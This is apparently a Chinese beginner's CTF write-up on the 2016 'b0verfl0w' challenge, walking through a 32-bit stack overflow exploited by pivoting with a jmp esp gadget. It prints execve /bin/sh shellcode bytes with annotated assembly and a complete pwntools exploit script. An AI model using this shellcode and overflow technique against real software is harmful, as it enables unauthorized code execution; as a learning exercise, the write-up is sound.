简单的PWN学习-ret2shellcode

简介: 最近在学习pwn,这是一道2016年的pwn题目,主要学习关于栈溢出以及劫持栈指针达到命令执行的效果,笔者水平较差,请轻喷

最近小弟开始钻研pwn的一些知识,发现栈溢出真的非常的有意思,于是经过一个多礼拜的学习,终于是把2016年的一道CTF题给看明白了了,小弟是初学者,很多地方不是很懂,大佬轻喷


0x01  shellcode

首先简单看一下shellcode是怎么生成的,使用python3环境生成一个shellcode,如下所示

from pwn import *

shellcode=shellcraft.amd64.sh()

print(shellcode)

图片.png

把他转换成机器码

context.arch = 'amd64'

asm(shellcode)

图片.png

0x02    解题原理


ret2shellcode

原理:


劫持栈指针指向攻击者所能控制的内存处,然后在相应的位置进行 ROP。


在哪些情况可以使用劫持栈指针的方式进行攻击?


   1. 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链

   2. 开启了 PIE 保护,栈地址未知


使用条件


利用 stack pivoting 有以下几个要求


   可以控制程序执行流。

   可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets (jmp esp)


0x03    解题步骤

首先查看程序基本信息

checksec b0verfl0w

图片.png

程序其实没开什么防护,架构是i386-32架构的;使用ida查看程序

图片.png

图片.png

溢出点出现在_fgets函数中,其中用户输入的数据被读入到一个大小为32字节(0x20)的缓冲区,而没有进行边界检查。


程序自身限定了50个字节(0x32)的长度范围,所以溢出的字节数为0x32 - 0x20 - 0x4 = 14字节。(0x04是因为在32位系统中ebp类型的大小为4字节)


布置 payload 如下

shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp



   Shellcode(代码注入):Shellcode 是一段用于利用计算机系统漏洞、以获取系统控制权的机器码。常用于编写恶意软件或执行渗透测试。


   Padding(填充):填充通常指向一个操作系统或应用程序的缓冲区溢出攻击,攻击者会在输入数据中添加足够数量的无关数据来覆盖目标内存区域。


   Fake EBP(伪EBP):EBP(Extended Base Pointer)是x86体系结构中的一种寄存器,用于指向当前函数的堆栈帧。"Fake EBP"可能指的是在堆栈上创建一个伪造的EBP值,以便欺骗程序流程或隐藏攻击的痕迹。


   0x08048504:这是一个具体的内存地址,在这里就是gadgets 的地址。


Set ESP point to shellcode and jmp ESP(设置ESP指向shellcode并跳转到ESP):ESP(Extended Stack Pointer)是x86体系结构中的另一个寄存器,用于指向当前堆栈顶部。这个步骤意味着将ESP设置为shellcode所在的内存位置,并通过跳转指令(jmp)将程序流程转移到该位置,以执行shellcode。


那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道


   size(shellcode+padding)=0x20

   size(fake ebp)=0x4

   size(0x08048504)=0x4

寻找jmp esp地址

ROPgadget --binary '/home/root1/桌 面/b0verfl0w' --only jmp

图片.png

图片.png

所以我们最后一段需要执行的指令就是


sub esp,0x28

jmp esp


我们本次使用的shellcode为25字节,padding为7字节,Fake EBP长度为4字节(真实的 EBP 是 x86 架构中堆栈帧的一部分,它用于指向当前函数的基址。对于大多数 32 位系统,EBP 寄存器的大小为 4 字节,而在 64 位系统上,EBP 寄存器的大小为 8 字节),0x08048504为4字节的内存地址 ,所以无论如何计算加一起都是40字节,或许我们可以利用gdb进行调试

图片.png

图片.png

图片.png

图片.png

payload是自己在https://www.exploit-db.com/shellcodes/47513搜的,找一个长度小于32的应该是都行,当然越短越好

图片.png

\x31\xc9           # xor    ecx,ecx    清除ECX寄存器(将其设置为零)

\xf7\xe1           # mul    ecx       将EDX:EAX寄存器对设置为零

\x51               # push   ecx       将0x0(null)推送到堆栈上

\x68\x2f\x2f\x73   # push   0x732f2f     将“//sh”推到堆栈上

\x68\x2f\x62\x69\x6e # push   0x6e69622f     将“/bin”推到堆栈上

\x89\xe3           # mov    ebx,esp     将堆栈顶部的地址(包含字符串“/bin//sh”)移动到EBX中

\xb0\x0b           # mov    al,0xb    将值0xb(11)移到AL中,表示执行系统调用号

\xcd\x80           # int    0x80    触发软件中断以调用内核并执行系统调用


上述汇编指令使用了 Linux 系统调用来执行一个系统调用,具体进行的操作是执行 /bin/sh,也就是一个 Shell


完整的exp如下:

图片.png

from pwn import *:导入pwntools库,这是一个强大的工具集,用于编写和执行二进制漏洞利用脚本。

   s = process("./b0verfl0w"):创建一个名为s的新进程,该进程将执行名为b0verfl0w的可执行文件。

   gdb.attach(s,"b *0x080485A0\nc"):使用GDB调试器附加到进程s上,并在地址0x080485A0处设置一个断点,然后继续执行程序。(断点可以自己调试)

   jmp_esp = 0x08048504:定义变量jmp_esp为地址0x08048504,该地址是一个jmp esp指令的位置,我们将在后面用于修改程序流程。

   payload = '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80':定义变量payload为一段shellcode,它将以后面的方式注入到目标程序中。

   sub_esp_jmp = asm('sub esp, 0x28;jmp esp'):使用pwntools的asm函数将汇编指令sub esp, 0x28;jmp esp转换为二进制形式,并将结果赋给变量sub_esp_jmp。这段汇编代码的作用是将栈指针向下调整0x28个字节,然后跳转到当前栈指针的位置,实现对栈上的攻击载荷执行的控制。

   print(len(payload)):打印变量payload的长度,以便我们知道需要填充多少字节才能覆盖目标程序中的返回地址。

   payload=payload + (0x20 - len(payload)) *'A' + 'AAAA' + p32(jmp_esp) + sub_esp_jmp:构造完整的攻击载荷。首先将之前定义的shellcode添加到载荷中,然后使用'A'字符填充剩余的空间,直到填满32个字节(0x20)。接下来,加入4个'A'和一个little-endian格式的jmp_esp地址,用于覆盖返回地址。最后,将之前转换得到的sub_esp_jmp添加到载荷的末尾,以在目标程序中执行栈上的操作。

   s.sendline(payload):将构造好的攻击载荷发送给目标程序。

   s.interactive():切换到交互模式,使我们可以与目标程序进行交互,例如输入命令或查看输出。



图片.png

图片.png

相关文章
|
3月前
|
算法 API 数据安全/隐私保护
逆向学习crackme160题-007-reg 的 write up
逆向学习crackme160题-007-reg 的 write up
52 2
|
3月前
|
存储 API
逆向学习crackme160题-003-Cruehead-CrackMe-3的 write up
逆向学习crackme160题-003-Cruehead-CrackMe-3的 write up
28 1
|
8月前
汇编指令学习(CALL,JMP,RET)
汇编指令学习(CALL,JMP,RET)
121 0
|
前端开发 rax Shell
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)(上)
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)
835 0
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)(上)
|
Linux
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例(下)
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例
250 0
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例(下)
|
Shell Linux
[PWN][进阶篇]ROP_Ret2Shellcode-32实例(下)
[PWN][进阶篇]ROP_Ret2Shellcode-32实例
184 0
[PWN][进阶篇]ROP_Ret2Shellcode-32实例(下)
|
安全 Shell Linux
[PWN][进阶篇]ROP_Ret2Shellcode-32实例(上)
[PWN][进阶篇]ROP_Ret2Shellcode-32实例
210 0
[PWN][进阶篇]ROP_Ret2Shellcode-32实例(上)
|
前端开发 rax Shell
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例(上)
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例
423 0
[PWN][进阶篇]ROP-Ret2Shellcode-64位实例(上)
[PWN][高级篇]ROP-ret2libc基础知识
[PWN][高级篇]ROP-ret2libc基础知识
492 0
[PWN][高级篇]ROP-ret2libc基础知识
|
Shell Linux Python
[PWN][知识小节]shellcode生成和测试
[PWN][知识小节]shellcode生成和测试
296 0
[PWN][知识小节]shellcode生成和测试

热门文章

最新文章